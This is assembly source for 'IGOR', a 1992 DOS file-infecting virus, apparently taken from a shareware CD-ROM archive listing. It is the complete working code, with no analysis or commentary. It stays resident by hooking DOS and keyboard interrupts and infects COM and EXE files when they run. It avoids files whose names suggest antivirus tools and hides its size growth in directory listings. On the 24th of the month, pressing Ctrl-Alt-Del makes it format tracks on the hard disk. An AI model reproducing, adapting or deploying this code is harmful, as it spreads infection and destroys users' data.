home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / IGOR.ASM < prev    next >
Assembly Source File  |  1992-07-25  |  12KB  |  537 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                                     ██
  6. ;██                IGOR                                     ██
  7. ;██                                                     ██
  8. ;██      Created:   12-Jul-92                                         ██
  9. ;██      Passes:    5          Analysis    Options on: none                 ██
  10. ;██      (c) 1992 by Igor Ratzkopf - All Rights Reserved July R          ██
  11. ;██                                                     ██
  12. ;██████████████████████████████████████████████████████████████████████████
  13.  
  14. data_1e        equ    16h
  15. data_2e        equ    469h            ;*
  16. data_3e        equ    103h            ;*
  17. data_4e        equ    1            ;*
  18. data_5e        equ    3            ;*
  19.  
  20. seg_a        segment    byte public
  21.         assume    cs:seg_a, ds:seg_a
  22.  
  23.  
  24.         org    100h
  25.  
  26. igor        proc    far
  27.  
  28. start::
  29.         jmp    short $+3        ; delay for I/O
  30.         nop
  31.         call    sub_1
  32.  
  33. igor        endp
  34.  
  35. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  36. ;                              SUBROUTINE
  37. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  38.  
  39. sub_1        proc    near
  40.         pop    bp
  41.         sub    bp,106h
  42.         push    ax
  43.         push    bx
  44.         push    cx
  45.         push    dx
  46.         push    si
  47.         push    di
  48.         push    bp
  49.         push    es
  50.         push    ds
  51.         mov    ax,7BCDh
  52.         int    21h            ; ??INT Non-standard interrupt
  53.         cmp    bx,7BCDh
  54.         je    loc_4            ; Jump if equal
  55.         xor    bx,bx            ; Zero register
  56.         push    cs
  57.         pop    ds
  58.         mov    cx,es
  59.         mov    ax,3509h
  60.         int    21h            ; DOS Services  ah=function 35h
  61.                         ;  get intrpt vector al in es:bx
  62.         mov    word ptr cs:data_11+2[bp],es
  63.         mov    cs:data_11[bp],bx
  64.         mov    ax,3521h
  65.         int    21h            ; DOS Services  ah=function 35h
  66.                         ;  get intrpt vector al in es:bx
  67.         mov    word ptr cs:data_9+2[bp],es
  68.         mov    cs:data_9[bp],bx
  69.         dec    cx
  70.         mov    es,cx
  71.         mov    bx,es:data_5e
  72.         mov    dx,3C3h
  73.         mov    cl,4
  74.         shr    dx,cl            ; Shift w/zeros fill
  75.         add    dx,4
  76.         mov    cx,es
  77.         sub    bx,dx
  78.         inc    cx
  79.         mov    es,cx
  80.         mov    ah,4Ah
  81.         int    21h            ; DOS Services  ah=function 4Ah
  82.                         ;  change memory allocation
  83.                         ;   bx=bytes/16, es=mem segment
  84.         jc    loc_4            ; Jump if carry Set
  85.         mov    ah,48h            ; 'H'
  86.         dec    dx
  87.         mov    bx,dx
  88.         int    21h            ; DOS Services  ah=function 48h
  89.                         ;  allocate memory, bx=bytes/16
  90.         jc    loc_4            ; Jump if carry Set
  91.         dec    ax
  92.         mov    es,ax
  93.         mov    cx,8
  94.         mov    es:data_4e,cx
  95.         sub    ax,0Fh
  96.         mov    di,data_3e
  97.         mov    es,ax
  98.         mov    si,bp
  99.         add    si,103h
  100.         mov    cx,3C3h
  101.         cld                ; Clear direction
  102.         repne    movsb            ; Rep zf=0+cx >0 Mov [si] to es:[di]
  103.         mov    ax,2521h
  104. ;*        mov    dx,offset loc_3        ;*
  105.         db    0BAh, 8Fh, 02h
  106.         push    es
  107.         pop    ds
  108.         int    21h            ; DOS Services  ah=function 25h
  109.                         ;  set intrpt vector al to ds:dx
  110.         mov    ax,2509h
  111. ;*        mov    dx,offset loc_2        ;*
  112.         db    0BAh, 1Ah, 02h
  113.         int    21h            ; DOS Services  ah=function 25h
  114.                         ;  set intrpt vector al to ds:dx
  115.         push    cs
  116.         pop    ds
  117. loc_4::
  118.         cmp    cs:data_25[bp],5A4Dh
  119.         je    loc_5            ; Jump if equal
  120.         mov    bx,offset data_25
  121.         add    bx,bp
  122.         mov    ax,[bx]
  123.         mov    word ptr ds:[100h],ax
  124.         add    bx,2
  125.         mov    al,[bx]
  126.         mov    byte ptr ds:[102h],al
  127.         pop    ds
  128.         pop    es
  129.         pop    bp
  130.         pop    di
  131.         pop    si
  132.         pop    dx
  133.         pop    cx
  134.         pop    bx
  135.         pop    ax
  136.         mov    ax,offset start
  137.         push    ax
  138.         retn
  139. data_9        dw    0, 0            ; Data table (indexed access)
  140. data_11        dw    0, 0            ; Data table (indexed access)
  141. loc_5::
  142.         mov    bx,cs:data_33[bp]
  143.         mov    dx,cs
  144.         sub    dx,bx
  145.         mov    ax,dx
  146.         add    ax,cs:data_18[bp]
  147.         add    dx,cs:data_20[bp]
  148.         mov    bx,cs:data_17[bp]
  149.         mov    word ptr cs:[216h][bp],bx
  150.         mov    word ptr cs:[218h][bp],ax
  151.         mov    ax,cs:data_19[bp]
  152.         mov    word ptr cs:[20Ch][bp],dx
  153.         mov    word ptr cs:[212h][bp],ax
  154.         pop    ds
  155.         pop    es
  156.         pop    bp
  157.         pop    di
  158.         pop    si
  159.         pop    dx
  160.         pop    cx
  161.         pop    bx
  162.         pop    ax
  163.         mov    ax,0
  164.         cli                ; Disable interrupts
  165.         mov    ss,ax
  166.         mov    sp,0
  167.         sti                ; Enable interrupts
  168. ;*        jmp    far ptr loc_1        ;*
  169. sub_1        endp
  170.  
  171.         db    0EAh, 00h, 00h, 00h, 00h
  172.                                     ;* No entry point to code
  173.         push    ax
  174.         in    al,60h            ; port 60h, keybd scan or sw1
  175.         cmp    al,53h            ; 'S'
  176.         je    loc_7            ; Jump if equal
  177. loc_6::
  178.         pop    ax
  179.         jmp    dword ptr cs:data_11
  180. loc_7::
  181.         mov    ah,2Ah
  182.         int    21h            ; DOS Services  ah=function 2Ah
  183.                         ;  get date, cx=year, dh=month
  184.                         ;   dl=day, al=day-of-week 0=SUN
  185.         cmp    dl,18h
  186.         jne    loc_6            ; Jump if not equal
  187.         mov    ch,0
  188.  
  189. locloop_8::
  190.         mov    ah,5
  191.         mov    dh,0
  192.         mov    dl,80h
  193.         int    13h            ; Disk  dl=drive 0  ah=func 05h
  194.                         ;  format track=ch or cylindr=cx
  195.                         ;   al=interleave, dh=head
  196.         inc    ch
  197.         cmp    ch,20h            ; ' '
  198.         loopnz    locloop_8        ; Loop if zf=0, cx>0
  199.  
  200. ;*        jmp    far ptr loc_31        ;*
  201.         db    0EAh,0F0h,0FFh,0FFh,0FFh
  202.         db    0CFh
  203. loc_9::
  204.         pushf                ; Push flags
  205.         push    cs
  206.         call    sub_2
  207.         test    al,al
  208.         jnz    loc_ret_12        ; Jump if not zero
  209.         push    ax
  210.         push    bx
  211.         push    es
  212.         mov    ah,51h
  213.         int    21h            ; DOS Services  ah=function 51h
  214.                         ;  get active PSP segment in bx
  215.                         ;*  undocumented function
  216.         mov    es,bx
  217.         cmp    bx,es:data_1e
  218.         jne    loc_11            ; Jump if not equal
  219.         mov    bx,dx
  220.         mov    al,[bx]
  221.         push    ax
  222.         mov    ah,2Fh
  223.         int    21h            ; DOS Services  ah=function 2Fh
  224.                         ;  get DTA ptr into es:bx
  225.         pop    ax
  226.         inc    al
  227.         jnz    loc_10            ; Jump if not zero
  228.         add    bx,7
  229. loc_10::
  230.         mov    ax,es:[bx+17h]
  231.         and    ax,1Fh
  232.         xor    al,1Dh
  233.         jnz    loc_11            ; Jump if not zero
  234.         and    byte ptr es:[bx+17h],0E0h
  235.         sub    word ptr es:[bx+1Dh],3C3h
  236.         sbb    es:[bx+1Fh],ax
  237. loc_11::
  238.         pop    es
  239.         pop    bx
  240.         pop    ax
  241.  
  242. loc_ret_12::
  243.         iret                ; Interrupt return
  244.                                     ;* No entry point to code
  245.         cmp    ax,4B00h
  246.         je    loc_14            ; Jump if equal
  247.         cmp    ah,11h
  248.         je    loc_9            ; Jump if equal
  249.         cmp    ah,12h
  250.         je    loc_9            ; Jump if equal
  251.         cmp    ax,7BCDh
  252.         jne    loc_13            ; Jump if not equal
  253.         jmp    short loc_14
  254.         db    90h
  255.  
  256. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  257. ;                              SUBROUTINE
  258. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  259.  
  260. sub_2        proc    near
  261. loc_13::
  262.         jmp    dword ptr cs:data_9
  263. loc_14::
  264.         and    [bx+si],ah
  265.         and    [bx+si],ah
  266.         and    [bx+si],ah
  267.         push    es
  268.         push    ds
  269.         cmp    ax,7BCDh
  270.         jne    loc_15            ; Jump if not equal
  271.         push    cs
  272.         pop    ds
  273.         mov    dx,4B7h
  274.         jmp    short loc_16
  275.         db    90h
  276. loc_15::
  277.         call    sub_5
  278.         jc    loc_18            ; Jump if carry Set
  279. loc_16::
  280.         mov    ax,4300h
  281.         int    21h            ; DOS Services  ah=function 43h
  282.                         ;  get attrb cx, filename @ds:dx
  283.         jc    loc_19            ; Jump if carry Set
  284.         test    cl,1
  285.         jz    loc_17            ; Jump if zero
  286.         and    cl,0FEh
  287.         mov    ax,4301h
  288.         int    21h            ; DOS Services  ah=function 43h
  289.                         ;  set attrb cx, filename @ds:dx
  290.         jc    loc_19            ; Jump if carry Set
  291. loc_17::
  292.         mov    ax,3D02h
  293.         int    21h            ; DOS Services  ah=function 3Dh
  294.                         ;  open file, al=mode,name@ds:dx
  295.         jc    loc_19            ; Jump if carry Set
  296.         mov    bx,ax
  297.         mov    ax,5700h
  298.         int    21h            ; DOS Services  ah=function 57h
  299.                         ;  get file date+time, bx=handle
  300.                         ;   returns cx=time, dx=time
  301.         mov    al,cl
  302.         or    cl,1Fh
  303.         dec    cx
  304.         dec    cx
  305.         xor    al,cl
  306.         jz    loc_19            ; Jump if zero
  307.         push    cs
  308.         pop    ds
  309.         mov    data_21,cx
  310.         mov    data_22,dx
  311.         mov    ah,3Fh            ; '?'
  312.         mov    cx,20h
  313.         mov    dx,offset data_25
  314.         int    21h            ; DOS Services  ah=function 3Fh
  315.                         ;  read file, bx=file handle
  316.                         ;   cx=bytes to ds:dx buffer
  317.         jc    loc_18            ; Jump if carry Set
  318.         mov    ax,4202h
  319.         xor    cx,cx            ; Zero register
  320.         xor    dx,dx            ; Zero register
  321.         int    21h            ; DOS Services  ah=function 42h
  322.                         ;  move file ptr, bx=file handle
  323.                         ;   al=method, cx,dx=offset
  324.         jc    loc_18            ; Jump if carry Set
  325.         cmp    cs:data_25,5A4Dh
  326.         je    loc_21            ; Jump if equal
  327.         mov    cx,ax
  328.         sub    cx,3
  329.         mov    cs:data_24,cx
  330.         call    sub_3
  331.         jc    loc_18            ; Jump if carry Set
  332.         mov    ah,40h            ; '@'
  333.         mov    dx,offset data_23
  334.         mov    cx,3
  335.         int    21h            ; DOS Services  ah=function 40h
  336.                         ;  write file  bx=file handle
  337.                         ;   cx=bytes from ds:dx buffer
  338. loc_18::
  339.         mov    cx,cs:data_21
  340.         mov    dx,cs:data_22
  341.         mov    ax,5701h
  342.         int    21h            ; DOS Services  ah=function 57h
  343.                         ;  set file date+time, bx=handle
  344.                         ;   cx=time, dx=time
  345.         mov    ah,3Eh
  346.         int    21h            ; DOS Services  ah=function 3Eh
  347.                         ;  close file, bx=file handle
  348. loc_19::
  349.         pop    ds
  350.         pop    es
  351.         pop    di
  352.         pop    si
  353.         pop    dx
  354.         pop    cx
  355.         pop    bx
  356.         pop    ax
  357.         cmp    ax,7BCDh
  358.         jne    loc_20            ; Jump if not equal
  359.         mov    bx,ax
  360. loc_20::
  361.         jmp    dword ptr cs:data_9
  362. loc_21::
  363.         mov    cx,cs:data_32
  364.         mov    cs:data_17,cx
  365.         mov    cx,cs:data_33
  366.         mov    cs:data_18,cx
  367.         mov    cx,cs:data_31
  368.         mov    cs:data_19,cx
  369.         mov    cx,cs:data_30
  370.         mov    cs:data_20,cx
  371.         push    ax
  372.         push    dx
  373.         call    sub_4
  374.         sub    dx,cs:data_29
  375.         mov    cs:data_33,dx
  376.         mov    cs:data_32,ax
  377.         pop    dx
  378.         pop    ax
  379.         add    ax,3C3h
  380.         adc    dx,0
  381.         push    ax
  382.         push    dx
  383.         call    sub_4
  384.         sub    dx,cs:data_29
  385.         add    ax,40h
  386.         mov    cs:data_30,dx
  387.         mov    cs:data_31,ax
  388.         pop    dx
  389.         pop    ax
  390.         push    bx
  391.         push    cx
  392.         mov    cl,7
  393.         shl    dx,cl            ; Shift w/zeros fill
  394.         mov    bx,ax
  395.         mov    cl,9
  396.         shr    bx,cl            ; Shift w/zeros fill
  397.         add    dx,bx
  398.         and    ax,1FFh
  399.         jz    loc_22            ; Jump if zero
  400.         inc    dx
  401. loc_22::
  402.         pop    cx
  403.         pop    bx
  404.         mov    cs:data_26,ax
  405.         mov    cs:data_27,dx
  406.         call    sub_3
  407.         jc    loc_23            ; Jump if carry Set
  408.         mov    ah,40h            ; '@'
  409.         mov    dx,data_2e
  410.         mov    cx,20h
  411.         int    21h            ; DOS Services  ah=function 40h
  412.                         ;  write file  bx=file handle
  413.                         ;   cx=bytes from ds:dx buffer
  414. loc_23::
  415.         jmp    loc_18
  416. sub_2        endp
  417.  
  418. data_17        dw    0            ; Data table (indexed access)
  419. data_18        dw    0            ; Data table (indexed access)
  420. data_19        dw    0            ; Data table (indexed access)
  421. data_20        dw    0            ; Data table (indexed access)
  422.  
  423. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  424. ;                              SUBROUTINE
  425. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  426.  
  427. sub_3        proc    near
  428.         mov    ah,40h            ; '@'
  429.         mov    dx,103h
  430.         mov    cx,3C3h
  431.         int    21h            ; DOS Services  ah=function 40h
  432.                         ;  write file  bx=file handle
  433.                         ;   cx=bytes from ds:dx buffer
  434.         jc    loc_24            ; Jump if carry Set
  435.         mov    ax,4200h
  436.         xor    cx,cx            ; Zero register
  437.         xor    dx,dx            ; Zero register
  438.         int    21h            ; DOS Services  ah=function 42h
  439.                         ;  move file ptr, bx=file handle
  440.                         ;   al=method, cx,dx=offset
  441.         jc    loc_24            ; Jump if carry Set
  442.         clc                ; Clear carry flag
  443.         retn
  444. loc_24::
  445.         stc                ; Set carry flag
  446.         retn
  447. sub_3        endp
  448.  
  449.  
  450. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  451. ;                              SUBROUTINE
  452. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  453.  
  454. sub_4        proc    near
  455.         push    bx
  456.         push    cx
  457.         mov    cl,0Ch
  458.         shl    dx,cl            ; Shift w/zeros fill
  459.         mov    bx,ax
  460.         mov    cl,4
  461.         shr    bx,cl            ; Shift w/zeros fill
  462.         add    dx,bx
  463.         and    ax,0Fh
  464.         pop    cx
  465.         pop    bx
  466.         retn
  467. sub_4        endp
  468.  
  469.  
  470. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  471. ;                              SUBROUTINE
  472. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  473.  
  474. sub_5        proc    near
  475.         push    si
  476.         push    cx
  477.         mov    si,dx
  478.         mov    cx,128h
  479.  
  480. locloop_25::
  481.         cmp    byte ptr [si],2Eh    ; '.'
  482.         je    loc_26            ; Jump if equal
  483.         inc    si
  484.         loop    locloop_25        ; Loop if cx > 0
  485.  
  486. loc_26::
  487.         cmp    word ptr [si-2],544Fh
  488.         jne    loc_27            ; Jump if not equal
  489.         cmp    word ptr [si-4],5250h
  490.         je    loc_30            ; Jump if equal
  491. loc_27::
  492.         cmp    word ptr [si-2],4E41h
  493.         jne    loc_28            ; Jump if not equal
  494.         cmp    word ptr [si-4],4353h
  495.         je    loc_30            ; Jump if equal
  496. loc_28::
  497.         cmp    word ptr [si-2],2041h
  498.         jne    loc_29            ; Jump if not equal
  499.         cmp    word ptr [si-4],454Ch
  500.         je    loc_30            ; Jump if equal
  501. loc_29::
  502.         pop    cx
  503.         pop    si
  504.         clc                ; Clear carry flag
  505.         retn
  506. loc_30::
  507.         pop    cx
  508.         pop    si
  509.         stc                ; Set carry flag
  510.         retn
  511. sub_5        endp
  512.  
  513. data_21        dw    0
  514. data_22        dw    0
  515. data_23        db    0E9h
  516. data_24        dw    9090h
  517. data_25        dw    0CD90h            ; Data table (indexed access)
  518. data_26        dw    20h
  519. data_27        dw    0
  520.         db    0, 0
  521. data_29        dw    0
  522.         db    0, 0, 0, 0
  523. data_30        dw    0
  524. data_31        dw    0
  525.         db    0, 0
  526. data_32        dw    0
  527. data_33        dw    0            ; Data table (indexed access)
  528.         db    15 dup (0)
  529. copyright    db    '(c) 1992 by Igor Ratzkopf - All '
  530.         db    'Rights Reserved July R'
  531.  
  532. seg_a        ends
  533.  
  534.  
  535.  
  536.         end    start
  537.